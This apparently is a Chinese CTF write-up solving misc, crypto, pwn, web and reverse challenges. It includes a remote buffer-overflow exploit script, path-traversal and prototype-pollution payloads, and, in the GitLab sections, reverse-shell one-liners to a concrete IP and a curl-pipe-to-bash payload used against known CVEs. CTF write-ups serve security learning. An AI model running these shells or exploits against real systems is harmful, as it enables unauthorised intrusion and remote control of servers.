Misc
永不停歇的 Flag 生产机
看 Flag 的时候突然发现存在上下连续变动的字符,有固定不变的,有固定加一的,想到可能可以通过作差看出一些信息。把连续的几个 Flag 作差之后发现每六位的差是相同的,且是一个循环自增 1 的六位数,那么就只需要知道当前的时间,就可以递推出最终结束的时间。
因为怕时间戳在不同机器存在偏差,我查看了结尾的 30 个 Flag ,顺利找到了有正确含义的那个。
代码如下:
chars = '0 1 2 3 4 5 6 7 8 9 + / A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z'.split(" ")
input_flag_0 = 'JMzoCvqWxr7lml7IXuG/KIXuYFCFvBLqGorq3W/SQe8QrnCgnYGO'
input_flag_1 = 'PO5xFzwY30+psnBRayMBQRayeHIOyFRsMxuu9YFbTiCSxwFktaMX'
flag_dis = ''
timestamp = 1664604540
end_timestamp = 1664625600
last_time = end_timestamp - timestamp + 10
for i in range(6):
distance = chars.index(input_flag_1[i]) - chars.index(input_flag_0[i])
if distance < 0:
distance += len(chars)
flag_dis += str(distance)
flag_dis = int(flag_dis)
print(flag_dis)
def increase(flag: str):
new_flag = ''
for i in range(len(flag)):
cur_char_index = chars.index(flag[i])
increase_number = int(str(flag_dis)[i % 6])
new_flag += chars[(cur_char_index + increase_number) % len(chars)]
return new_flag
flag = input_flag_0
while (last_time):
last_time -= 1
flag = increase(flag)
if (last_time < 30):
print(flag)
flag_dis += 1
Treasure Hunter
虽然后来 NanoApe 告知我 JPG 中可以看到地点的精确位置,但是做题的时候并不知道。所以只知道桃李、理科楼、主楼的情况下,大致定位在了听涛附近(拜托,如果没有提醒和比赛相关的话,真的会只关注附近建筑而不会去学堂路上找…)。圆心找了半天没找到,又去找了内心和垂心,在 NanoApe 的不懈努力提醒下终于想到了学堂路的某个牌子。
这题是和室友一起去找的,过程中没有共享 flag 和非公开的 hint ,应该可视为两个独立个体吧…(一个人找也太无聊了,要不要考虑搞点组队比赛什么的)希望没有违反一些比赛条例。
Treasure Hunter Plus Plus
检索时发现 Wiki 上居然有人整理了很多清华的纪念物 https://zh.wikipedia.org/wiki/清华大学校友纪念物 并且通过图片中的文字检索可以定位到大部分的图片如下:
三一八断碑:1926年即为民国15年
C楼三十而立:三十而立
所以最后只剩钟、木兰松、太阳创新没找到。进入实例检查元素发现图片存在对应关系,顺序点击即可。于是其它几个不清楚的直接枚举尝试。
Treasure Hunter Plus Plus Plus
携手在胜因院,天大广场在新清华学堂,三一八断碑在大礼堂旁边,土建系暖四班在六教旁边,零零阁记在零零阁(荷塘),三十而立在C楼,钟在汽车工程系,木兰松在校河边上,太阳创新在主楼。拍照即可。
flagmarket_level1
首先是计算 sha 碰撞的代码
from hashlib import sha256
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, getStrongPrime as getPrime
from collections import defaultdict
import signal
import random
import string
from os import urandom
ALL_POSSIBLE_CHAR = string.ascii_letters + string.digits + '!#$%&*-?'
def main():
sha_input = input("sha_input_left: ")
sha_output = input("sha_output: ")
for i_0 in range(len(ALL_POSSIBLE_CHAR)):
for i_1 in range(len(ALL_POSSIBLE_CHAR)):
for i_2 in range(len(ALL_POSSIBLE_CHAR)):
for i_3 in range(len(ALL_POSSIBLE_CHAR)):
test_output = sha256((ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3] + sha_input).encode()).hexdigest()
if (test_output == sha_output):
print(ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3])
return
if __name__ == "__main__":
main()
之后通过读代码发现只需要从 admin 处买到 flag 并且 view 即可,发现可以自己设置商品价格并且可以设置为负数,于是只需要用户 A 设置一个商品价格为很小的负数,用户 B 买了之后即可获得超过 flag 价值的财富,买下 flag 即可。
小可莉能有什么坏心思呢?
通过 ppt 打开三张图片,通过调节亮度、对比度、反色等操作可以看出六个字母对应的 word 。分别是:
A = chtg
B = zjsv
C = kfdb
D = etmv
E = dcps
F = rqqy
p.s. 一开始我以为需要通过不同图片的叠加才能得到对应字母,后来发现每张图片仅包含两组字母…好吧高估这道题了
Crypto
babypoly
一开始完全没有头绪(没学过太多密码学…),在提示到 Polynomial 之后成功检索到关键词伽罗瓦域,并从https://www.zhihu.com/question/22072020/answer/2261946934这个链接中学到了相关的数学原理,立刻就明白了这部分代码具体在做的事情。
poly=0x39d00014db98d3d622da8ba5f038168ec301672927509f6c38fcb9f32925a29ef6d58d698721b86ce270dcfcb908a6aeb0f455b4f4de098d9c8149522db2ec74a440f9fdb4b75ec4981d07cc247d72b61be4be4dd36659fc7dbddc4b38f9af632f14a87770180d32982905ef0334d80e8bccf7bea2f0cc81da95652c97aec99a8696597494ed824d5ce54b160f8315aa4ea180aba30993e3de3406f07a359f1b52720eff9d4de57f3235fbe73aea509f30e6bd29deccd45c68b906177904822430333f19ec289f8e8f4aac926c3a662089e981d9695e0657f241db64ca63956797f6dd6767042ec68e8fe2da0e9f4b3e2d06617a33a3bb1e310c92f83f226b490f395ceb646b92e7b75226413d973ac5c0235964b4d0936390f8ef4153eceed4fa1
e=115792089237316195423570985008687907853269984665640564039457584007913129640233
def operator(x, y):
r = 0
for b in range(bits - 1, -1, -1):
r <<= 1
if y & (1 << b):
r ^= x
if r & (1 << bits): # 这部分困扰了很久,因为不知道何时会异或上poly,以及异或之后是什么状态
r ^= (1 << bits) | poly
return r, poly_pos
def magic(p, n):
res = 1
while n > 0:
res, pos = operator(res, p)
n -= 1
return res
在未接触到这类知识的时候,我对于题目中的位移操作毫无头绪,我只知道e是个质数,但不知道为什么这样设计,以及poly是否有实际含义(事实上,它有)。所以也无法缩小问题规模进行模拟寻找规律。
不过在上,这个操作就变得很自然了,实际上
r ^= (1 << bits) | poly
只是每一步在取模。而上面的不断位移异或的操作只不过是x乘上了y(将x和y均视为多项式)。所以这个magic的结果就是字母大写是表示它是一个多项式而不是值。可以看出它是一个RSA加密的过程,已知 n, e 的情况下求 d 。但是由于是在域上,多项式分解并不会非常耗时(否则也不会只给 n, e 就求 d ),使用 sagemath 分解成两个多项式的乘积,在伽罗瓦域上也成立,而 P 和 Q 均为质多项式,所以 ,,这就求出了,之后求 e 的逆元 d 并且求 即可解密。
具体代码参考了以下几篇博客,都是类似的题型,不是特别会用 sagemath 就只能先学着写。
p.s. wsl2 安装 sagemath 的时候遇到了一些难以解决的网络问题…为了良好体验建议直接使用 docker 安装。
flagmarket_level2
一开始看到在 crypto 的分类里,以为这道题是一道标准的 RSA 的题目,就去检索了如何在已知若干明文和密文对的情况下推出明文。但给的信息实在有限。后来发现 setprice 并没有对 price 做检测,想到可能可以 setprice 为一个负数,然后完成和之前一样的操作。但是 setprice 需要对 sig 进行验证。在仔细看了所有的 print 之后发现 sell 被写成 “5311” ,而 sign 的过程又是把两个字符串简单拼接之后加密,那么只要将用户名改为 1-11111111111111111 之后 sell 就可以打出用户名为 1 价格为 -111111111111111115311 所需的 sig 。之后另一个用户购买这个价格为负的商品,即可购买到 flag 。
Pwn
babystack_level0
EDA Pro 打开后发现主要部分是读入一个固定长度(112)的字符串,并且没有金丝雀,所以只需要超出这个范围(加上8字节栈指针),即可覆盖返回地址,返回到 backdoor 即可。
代码如下:
from pwn import *
# sh = process('./attachment/babystack_level0')
sh = remote('nc.thuctf.redbud.info', 31963)
buf2_addr = 0x004006C7
sh.sendline(b'A' * 120 + p64(buf2_addr))
sh.interactive()
Web
What is $? - flag1
这题主要部分在于如何绕过那个 md5 。在网上搜索后发现php在处理哈希字符串的时候把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0,于是选择一个以 a 结尾的和任意另一个为 salt 和 pass ,即可通过。
过程截图:
结、枷锁 - flag1
首先发现图片 url 为 http://nc.thuctf.redbud.info:32089/static?file=1.jpg ,之后随便改改删掉了 file=1.jpg 发现报错,其中一行为 /app/app.js ,于是发现 http://nc.thuctf.redbud.info:32089/static?file=../app.js 可以获得网页源码。之后发现 flag 需要 req.session.i_can_get_flag ,而根据提示可以进行 prototype 攻击,在 /dashboard 里发现了 merge 函数,所以整体思路就是通过向 /dashboard post 请求来运行
_.merge(req.session.bullshits, req.body)
而在 body 中构造 {"__proto__": {"i_can_get_flag": true}}
即可。baby_gitlab
首先通过 /help 下的 What’s new 找到了版本是13.9,之后 google 到这个版本有重大漏洞可以直接进到 gitlab 的服务器,于是跟着下面这篇博客的操作完成了攻击。
用到的工具为:
不过登进去之后找了半天没找到flag在哪儿,问了出题人才知道在服务器的根目录下…好吧,和我想得不太一样
使用的指令为:
echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1' > /tmp/1.sh; chmod +x /tmp/1.sh; /bin/bash /tmp/1.sh
xHfbwExmhmEZb2W1zJ8
bash -i >& /dev/tcp/47.93.21.175/10010 0>&1
nc -lvvnp 10010
easy_gitlab
首先注册登录后发现版本为15.1.0,查到漏洞 CVE-2022-2185 可以入侵。之后检索到一个论坛以及一个仓库,两种方法我都进行了尝试。大致思路就是通过伪造一个假的 gitlab ,在被攻击的 gitlab 向假的 gitlab 发出 import group 指令的时候,在返回的结果里面插入攻击指令(我使用的是
curl
http://xx.xx.xx.xx|bash
;#
并且在我的攻击机主页上部署了一个侵入脚本)在执行完论坛方法、并且又用这个仓库提供的代码进行了攻击之后十分钟,我发现攻击机上监听的端口打开了目标机器的终端。但是因为两种方法前后执行,并不清楚是哪一个起了作用…(事实上前几次尝试都没成功,快放弃的时候看了一眼发现成了)
github 仓库地址:https://github.com/star-sg/CVE/tree/c9c8d42f231cb5d515e660c169272e0b1983df07/CVE-2022-2185
Reverse
encrypt_level1
pyc 还原为 python 工具:https://www.toolnb.com/tools/pyc.html
还原之后发现直接异或可以得到答案,
flag = A ^ B
。encrypt_level2
通过 IDA pro 反编译。但我不会在 IDA pro 里面直接 debug ,所以我把它复制到了 vscode 里面重新编译。可以看到 main 的主体结构就是首先确认输入为 19 个 byte,之后对每个 byte 进行一些异或操作。那么这就非常轻松可以复原了。逆向的代码如下:
// # include <string.h>
#include <iostream>
#include <string>
using namespace std;
#include "head.h"
int main(int argc, const char **argv) {
char *v3; // rax
int v4; // ecx
unsigned int v5; // edx
long long v6; // rax
int v7; // eax
int v8; // edx
int v9; // edx
int v10; // eax
int v11; // edx
int v12; // eax
long long v13; // rax
int v14; // edx
int v15; // ecx
int enc[] = {0x0A5, 0x70, 0x0B2, 0x2C, 0x24, 0x0F5, 0x80, 0x2, 0x97, 0x16, 0x4F, 0x98, 0x0E, 0x0A2, 0x26, 0x1B, 0x3};
int seed[] = {0x0F1, 0x0C9, 0x0DE, 0x8A, 0x1C, 0x0C7, 0x4D, 0x9D, 0x94, 0x0DC, 0x59, 0x83, 0x0C8, 0x0F1, 0x0DD, 0x78, 0x3};
char* flag = new char[19];
// __printf_chk(1LL, "Input your flag: ", envp);
// __isoc99_scanf("%s", flag);
scanf("%s", flag);
v3 = flag;
do {
v4 = *(_DWORD *)v3;
v3 += 4;
v5 = ~v4 & (v4 - 16843009) & 0x80808080;
} while (!v5);
if ((~v4 & (v4 - 16843009) & 0x8080) == 0)
v5 >>= 16;
if ((~v4 & (v4 - 16843009) & 0x8080) == 0)
v3 += 2;
v6 = &v3[-__CFADD__((_BYTE)v5, (_BYTE)v5) - 3] - flag;
if (v6 && (unsigned int)(v6 - 1) > 0xE && (unsigned int)(v6 - 17) > 1) {
// flag[0] ^= LOBYTE(seed[0]);
flag[0] = enc[0] ^ LOBYTE(seed[0]);
// flag[1] ^= LOBYTE(seed[1]) ^ LOBYTE(seed[0]);
flag[1] = enc[1] ^ LOBYTE(seed[1]) ^ LOBYTE(seed[0]);
seed[1] ^= seed[0];
// flag[2] ^= LOBYTE(seed[2]) ^ LOBYTE(seed[1]) ^ 1;
flag[2] = enc[2] ^ LOBYTE(seed[2]) ^ LOBYTE(seed[1]) ^ 1;
seed[2] ^= seed[1] ^ 1;
// flag[3] ^= LOBYTE(seed[3]) ^ LOBYTE(seed[2]) ^ 2;
flag[3] = enc[3] ^ LOBYTE(seed[3]) ^ LOBYTE(seed[2]) ^ 2;
seed[3] ^= seed[2] ^ 2;
// flag[4] ^= LOBYTE(seed[4]) ^ LOBYTE(seed[3]) ^ 3;
flag[4] = enc[4] ^ LOBYTE(seed[4]) ^ LOBYTE(seed[3]) ^ 3;
seed[4] ^= seed[3] ^ 3;
// flag[5] ^= LOBYTE(seed[5]) ^ LOBYTE(seed[4]) ^ 4;
flag[5] = enc[5] ^ LOBYTE(seed[5]) ^ LOBYTE(seed[4]) ^ 4;
seed[5] ^= seed[4] ^ 4;
// flag[6] ^= LOBYTE(seed[6]) ^ LOBYTE(seed[5]) ^ 5;
flag[6] = enc[6] ^ LOBYTE(seed[6]) ^ LOBYTE(seed[5]) ^ 5;
seed[6] ^= seed[5] ^ 5;
// flag[7] ^= LOBYTE(seed[7]) ^ LOBYTE(seed[6]) ^ 6;
flag[7] = enc[7] ^ LOBYTE(seed[7]) ^ LOBYTE(seed[6]) ^ 6;
seed[7] ^= seed[6] ^ 6;
seed[8] ^= seed[7] ^ 7;
v7 = seed[9] ^ seed[8] ^ 8;
// flag[8] ^= LOBYTE(seed[8]);
flag[8] = enc[8] ^ LOBYTE(seed[8]);
// flag[9] ^= v7;
flag[9] = enc[9] ^ v7;
v8 = seed[10] ^ v7 ^ 9;
seed[9] = v7;
// flag[10] ^= v8;
flag[10] = enc[10] ^ v8;
seed[10] = v8;
seed[11] ^= v8 ^ 0xA;
v9 = seed[12] ^ seed[11] ^ 0xB;
// flag[11] ^= LOBYTE(seed[11]);
flag[11] = enc[11] ^ LOBYTE(seed[11]);
// flag[12] ^= v9;
flag[12] = enc[12] ^ v9;
v10 = seed[13] ^ v9 ^ 0xC;
seed[12] = v9;
// flag[13] ^= v10;
flag[13] = enc[13] ^ v10;
v11 = seed[14] ^ v10 ^ 0xD;
seed[13] = v10;
// flag[14] ^= v11;
flag[14] = enc[14] ^ v11;
v12 = seed[15] ^ v11 ^ 0xE;
seed[14] = v11;
// flag[15] ^= v12;
flag[15] = enc[15] ^ v12;
seed[16] ^= v12 ^ 0xF;
seed[15] = v12;
v13 = 0LL;
while (1) {
// v14 = flag[v13];
// v15 = enc[v13];
// if (v14 != v15 && v15 != v14 + 256)
// break;
printf("%c", flag[v13]);
if (++v13 == 16) {
puts("Right!");
return 0;
}
}
}
puts("Wrong!");
return 0;
}
Mobile
checkin
注册登录 discord 在标题栏发现 flag 。
survey
认真回答问卷即可。
test your nc
nc 连接后即可。
PPC
人間観察バラエティ
没认真写…只是简单分析了一下随便选了几个,理论上可以写一个脚本不停更新自己的选择…哎懒了
Loading Comments...